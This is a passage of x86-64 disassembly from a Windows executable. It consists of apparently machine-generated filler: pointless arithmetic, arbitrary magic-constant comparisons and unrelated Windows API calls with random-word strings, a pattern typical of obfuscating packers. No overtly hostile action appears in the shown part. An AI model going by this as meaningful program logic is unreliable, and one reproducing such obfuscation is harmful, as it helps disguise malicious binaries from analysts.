movzx ecx, word [rsp + 0x938]
xor eax, ecx
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
jmp 0x14000928d
lea r9, [rsp + 0x4230]
mov r8d, 0xd8
lea rdx, [rsp + 0x1a3c0]
mov rcx, qword [rsp + 0x4220]
call qword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov dword [rsp + 0x2418], eax
jmp 0x1400092f3
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x4360]
mov qword [rsp + 0x4468], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4468]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x43b0]
mov rdx, qword [rsp + 0x4330]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x1400092f3
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x734]
add eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
lea rax, [rsp + 0x93c]
mov qword [rsp + 0x4470], rax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x930]
and eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
lea rax, [rsp + 0x4348]
mov qword [0x140126020], rax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xef]
movzx edx, byte [rsp + 0xee]
add ecx, edx
cmp eax, ecx
jne 0x140109624
movzx eax, byte [0x140125004]
mov byte [rsp + 0x24a0], al
cmp byte [rsp + 0x24a0], 0
je 0x140009385
cmp byte [rsp + 0x24a0], 0xb1
je 0x1400093e8
jmp 0x140009441
lea rax, [rsp + 0x4308]
mov qword [rsp + 0x4478], rax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4250]
movzx eax, byte [rax]
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xef], al
jmp 0x140009441
mov dword [rsp + 0x38], 0x9a
lea rax, [rsp + 0x1a590]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1a590]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x938]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xef]
mov r8d, 0xfe
lea rdx, [rsp + 0x1a590]
lea rcx, str.articleSiblingshalftruth
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov dword [rsp + 0x24a4], eax
cmp dword [rsp + 0x24a4], 0
je 0x140009473
cmp dword [rsp + 0x24a4], 0x11b
je 0x1401094ce
jmp 0x140109520
mov rax, qword [rsp + 0x4250]
movzx eax, byte [rax]
mov byte [rsp + 0x24a8], al
cmp byte [rsp + 0x24a8], 0x31
je 0x140009494
jmp 0x14000951e
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x50
mov r9d, 0x7c
mov r8d, 0xd
mov edx, 0x73
mov rcx, qword [rsp + 0x4480]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov eax, dword [rsp + 0x23d4]
mov dword [rsp + 0x2474], eax
jmp 0x14010947c
mov rax, qword [rsp + 0x4208]
mov rcx, qword [rsp + 0x43e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x23f4]
mov edx, dword [rsp + 0x2460]
shl edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x1401093a9
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov byte [rsp + 0x24ac], al
cmp byte [rsp + 0x24ac], 0x2b
je 0x140009605
cmp byte [rsp + 0x24ac], 0x9d
je 0x14000957d
jmp 0x140009636
lea r9, [rsp + 0x1a3c0]
mov r8d, 0x8d
lea rdx, str.Royally_Oddness_Clinicians_thrushes_nailing
lea rcx, str.permissibilityFitters
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0xee], al
movsx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
jmp 0x140009636
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x20], al
mov r9, qword [0x140125010]
mov r8, qword [rsp + 0x4308]
mov rdx, qword [rsp + 0x43b0]
mov rcx, qword [rsp + 0x4348]
call fcn.14010ba60
nop
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4348]
mov rdx, qword [rsp + 0x4298]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140009712
lea rax, [0x140126014]
mov qword [rsp + 0x4488], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf2]
sar eax, cl
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x42e8]
movzx eax, word [rax]
mov word [0x140126028], ax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0x4490], rax
mov rax, qword [rsp + 0x43b0]
mov qword [rsp + 0x4498], rax
mov eax, dword [rsp + 0x2474]
mov ecx, dword [rsp + 0x2460]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4348]
shl rax, cl
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2414]
mov dword [rsp + 0x24b0], eax
jmp 0x14000987e
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
movzx ecx, byte [rsp + 0xef]
mov rdx, qword [rsp + 0x43a8]
movzx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jle 0x14000987e
lea rdx, [rsp + 0x934]
mov rcx, qword [rsp + 0x4448]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov dword [rsp + 0x24b4], eax
movsx eax, word [rsp + 0x734]
mov dword [rsp + 0x24b8], eax
cmp dword [rsp + 0x24b8], 0x6508
je 0x140009861
cmp dword [rsp + 0x24b8], 0x7aad
je 0x140009793
jmp 0x14000987e
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
movsx eax, word [0x140126028]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf1]
add eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140126014], ax
lea rax, [rsp + 0x4478]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xef]
lea r8, [rsp + 0x19b40]
lea rdx, [rsp + 0x24bc]
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [rsp + 0x2418], eax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
jmp 0x14000987e
lea rdx, [rsp + 0x4238]
mov rcx, qword [rsp + 0x44a0]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
mov dword [rsp + 0x2418], eax
mov eax, dword [rsp + 0x2464]
mov ecx, dword [rsp + 0x2460]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov dword [rsp + 0x24c0], eax
cmp dword [rsp + 0x24c0], 0
je 0x140009923
cmp dword [rsp + 0x24c0], 0x2c432bb
je 0x1400098c4
jmp 0x140009a76
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4298]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x4498]
mov rcx, qword [rsp + 0x4308]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x23f4], eax
call fcn.14010b900
nop
jmp 0x140009a76
mov rax, qword [rsp + 0x42a8]
movzx eax, byte [rax]
mov byte [rsp + 0x24c4], al
cmp byte [rsp + 0x24c4], 9
je 0x140009a53
cmp byte [rsp + 0x24c4], 0x1e
je 0x140009952
jmp 0x140009a76
mov rax, qword [rsp + 0x4298]
mov qword [rsp + 0x44a8], rax
movabs rax, 0x398b26a2dcd35677
cmp qword [rsp + 0x44a8], rax
je 0x14000997b
jmp 0x140009a3b
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4488]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x938]
mov rdx, qword [rsp + 0x42f0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400099cb
mov eax, dword [rsp + 0x2394]
movzx ecx, al
mov eax, dword [rsp + 0x23cc]
shl eax, cl
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
jmp 0x140009a39
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
sar eax, cl
mov word [rsp + 0x734], ax
lea rcx, [rsp + 0x19bb0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2418], eax
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0xf0]
and eax, ecx
mov rcx, qword [rsp + 0x4490]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4400]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x934], ax
jmp 0x140009a51
lea rcx, [rsp + 0x199f0]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x42b8], rax
jmp 0x140009a76
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140126020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov dword [rsp + 0x24c8], eax
cmp dword [rsp + 0x24c8], 0
je 0x140009abf
cmp dword [rsp + 0x24c8], 0xfd1
je 0x140009aa1
jmp 0x140009b1f
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
jmp 0x140009b1f
lea rax, [rsp + 0x4298]
mov qword [rsp + 0x44b0], rax
mov rax, qword [rsp + 0x4498]
mov rcx, qword [rsp + 0x4308]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4328]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
lea rax, section..data
mov qword [rsp + 0x44b8], rax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0xee]
movzx edx, byte [rsp + 0xef]
add ecx, edx
cmp eax, ecx
jne 0x140009cbc
lea rax, [rsp + 0xef]
mov qword [rsp + 0x44c0], rax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x24cc], al
cmp byte [rsp + 0x24cc], 0
je 0x140009b8d
cmp byte [rsp + 0x24cc], 0x3b
je 0x140009c86
jmp 0x140009cbc
mov rax, qword [rsp + 0x44c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x44c0]
mov byte [rcx], al
lea rax, [rsp + 0x934]
mov qword [rsp + 0x44c8], rax
mov rax, qword [0x140126020]
mov rcx, qword [rsp + 0x4338]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4248]
mov rdx, qword [rsp + 0x4348]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jne 0x140009c84
mov eax, dword [rsp + 0x20ec]
mov ecx, dword [rsp + 0x2474]
xor ecx, eax
mov eax, ecx
mov dword [0x140125018], eax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
sar eax, cl
mov word [rsp + 0x938], ax
lea rax, [rsp + 0x23cc]
mov qword [rsp + 0x44d0], rax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x44b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x44d8], rax
jmp 0x140009cbc
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4498]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
lea rcx, [rsp + 0x19eb0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x24d0], eax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0x4490]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4400]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x944]
movsx edx, word [rsp + 0x734]
sub ecx, edx
cmp eax, ecx
jle 0x140009d2a
mov eax, dword [rsp + 0x20ec]
mov ecx, dword [rsp + 0x2474]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
jmp 0x1401092b7
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4498]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4478]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x43b0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1401092b7
mov rax, qword [rsp + 0x44b8]
mov eax, dword [rax]
mov dword [rsp + 0x24d4], eax
cmp dword [rsp + 0x24d4], 0
je 0x140009d85
jmp 0x140009e45
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x4298]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
lea rax, [rsp + 0x4498]
mov qword [rsp + 0x44e0], rax
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x44d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4298]
mov qword [rsp + 0x44e8], rax
cmp qword [rsp + 0x44e8], 0
je 0x140009df3
jmp 0x140009e2b
lea rax, [rsp + 0x93c]
mov qword [rsp + 0x44f0], rax
movsx eax, byte [rsp + 0xf0]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0xf2], al
movzx eax, word [rsp + 0x944]
mov word [rsp + 0x948], ax
jmp 0x140009e40
lea rcx, [rsp + 0x19c20]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2434], eax
jmp 0x140009f05
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
mov dword [rsp + 0x24d8], eax
cmp dword [rsp + 0x24d8], 0x4837df19
je 0x140009ee4
cmp dword [rsp + 0x24d8], 0x4b6cecff
je 0x140009e8d
jmp 0x140009f05
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [0x140125004]
add eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
lea rcx, [rsp + 0x19a40]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x4258], rax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x42c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
jmp 0x140009f05
mov rax, qword [rsp + 0x44e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4308]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4498], rax
movzx eax, word [rsp + 0x93c]
mov dword [rsp + 0x24dc], eax
cmp dword [rsp + 0x24dc], 0
je 0x14000a012
cmp dword [rsp + 0x24dc], 0xa21
je 0x140009f34
jmp 0x140109219
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf2]
xor eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4298]
sar rax, cl
mov rcx, qword [rsp + 0x42c8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x44d8]
shl rdx, cl
mov rcx, rdx
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov dword [rsp + 0x24e0], eax
cmp dword [rsp + 0x24e0], 0x1a327903
je 0x140009fac
cmp dword [rsp + 0x24e0], 0x4c6d03d8
je 0x140009ff7
jmp 0x14000a00d
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x940], ax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x44c0]
mov byte [rcx], al
mov ecx, dword [rsp + 0x24b0]
call fcn.14010a860
nop
jmp 0x14000a00d
lea rcx, [rsp + 0x19a90]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x42b8], rax
jmp 0x140109219
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4490]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
movsx edx, byte [0x140125005]
and ecx, edx
cmp eax, ecx
jge 0x14000a190
mov rax, qword [rsp + 0x44d8]
mov qword [rsp + 0x44f8], rax
movabs rax, 0x9afaae7ae554876
cmp qword [rsp + 0x44f8], rax
je 0x14000a06e
jmp 0x14000a096
mov r9d, 0x7a
lea r8, [rsp + 0x44d0]
mov edx, 0xef
mov rcx, qword [rsp + 0x4440]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x24e4], eax
mov rax, qword [rsp + 0x44d0]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov rdx, qword [rsp + 0x4328]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14000a0e6
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x4488]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x44b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x44e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4498]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4308], rax
lea rcx, [rsp + 0x19e20]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x238c], eax
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4328]
mov qword [rsp + 0x4500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4500]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2460], eax
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x2474], eax
jmp 0x1401091c3
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov rcx, qword [rsp + 0x4490]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x42a8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x1401091c3
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
or eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x940]
shl eax, cl
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x43b0]
and rcx, rax
mov rax, rcx
mov qword [0x140125020], rax
mov eax, dword [rsp + 0x24b0]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov rdx, qword [rsp + 0x4328]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14000a3f6
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov dword [rsp + 0x24e8], eax
cmp dword [rsp + 0x24e8], 0x109b057f
je 0x14000a268
jmp 0x14000a3d9
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
and eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0xf2]
mov rdx, qword [rsp + 0x4490]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14000a3d7
movsx eax, word [rsp + 0x734]
movsx ecx, word [rsp + 0x930]
sub eax, ecx
mov word [rsp + 0x944], ax
mov dword [rsp + 0x28], 0xc2
lea rax, [rsp + 0x1a3c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xc5
lea r8, str.Sporting_reoccur_Careful_Multicoloured_represents
mov edx, 0xd8
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov dword [rsp + 0x24ec], eax
cmp dword [rsp + 0x24ec], 0xfbdfe3e7
je 0x14000a33e
cmp dword [rsp + 0x24ec], 0xfda0ce21
je 0x14000a3bb
jmp 0x14000a3d7
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4348]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [0x140125020]
mov rcx, qword [rsp + 0x43b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4498], rax
lea rdx, [rsp + 0x1a590]
lea rcx, [rsp + 0x199b8]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x2384], eax
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
jmp 0x14000a3d7
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2460]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x20ec], eax
jmp 0x14000a3f6
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x93c]
sar eax, cl
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0x24f0], al
cmp byte [rsp + 0x24f0], 0
je 0x14000a46f
cmp byte [rsp + 0x24f0], 0x51
je 0x14000a41e
jmp 0x14000a5b7
mov rcx, qword [rsp + 0x42b8]
call qword [sym.imp.USER32.dll_GetListBoxInfo]
mov dword [rsp + 0x24f4], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
shl eax, cl
mov rcx, qword [rsp + 0x4490]
mov byte [rcx], al
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x934]
and eax, ecx
mov word [0x140126028], ax
call fcn.14010adc0
nop
jmp 0x14000a5b7
lea rax, [rsp + 0xef]
mov qword [rsp + 0x4508], rax
movzx eax, word [rsp + 0x93c]
mov dword [rsp + 0x24f8], eax
cmp dword [rsp + 0x24f8], 0xba4
je 0x14000a4b1
cmp dword [rsp + 0x24f8], 0xc18
je 0x14000a597
jmp 0x14000a5b7
mov rax, qword [0x140126020]
mov rax, qword [rax]
mov qword [rsp + 0x4510], rax
movabs rax, 0x1dcbda9ac7a4b383
cmp qword [rsp + 0x4510], rax
je 0x14000a50b
movabs rax, 0x31064e435b710226
cmp qword [rsp + 0x4510], rax
je 0x14000a4ed
jmp 0x14000a52a
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xef]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
jmp 0x14000a52a
mov rax, qword [rsp + 0x44c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xed], al
mov r8d, 1
lea rdx, [rsp + 0x1a090]
lea rcx, [rsp + 0x199c8]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x4518], rax
mov r9, qword [rsp + 0x41f0]
mov r8, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x43e0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x934]
call fcn.14010c380
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov dword [rcx], eax
jmp 0x14000a5b7
mov r8d, 0x7a
mov edx, 0x1c
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.USER32.dll_SetClassLongW]
mov dword [rsp + 0x2464], eax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
mov dword [rsp + 0x24fc], eax
cmp dword [rsp + 0x24fc], 0xd93
je 0x14000a5fc
jmp 0x14000a77a
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4478]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4498], rax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x44c0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000a66b
mov rax, qword [rsp + 0x4328]
mov ecx, dword [rsp + 0x2414]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov qword [rsp + 0x4520], rax
movabs rax, 0x6a9025f6ad0a2cd8
cmp qword [rsp + 0x4520], rax
je 0x14000a717
movabs rax, 0x8f5dd4f37fc04285
cmp qword [rsp + 0x4520], rax
je 0x14000a6af
jmp 0x14000a775
mov r9d, 0x9c
lea r8, [rsp + 0x19f50]
mov rdx, qword [rsp + 0x4528]
mov rcx, qword [rsp + 0x4530]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24d0], eax
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x44f0]
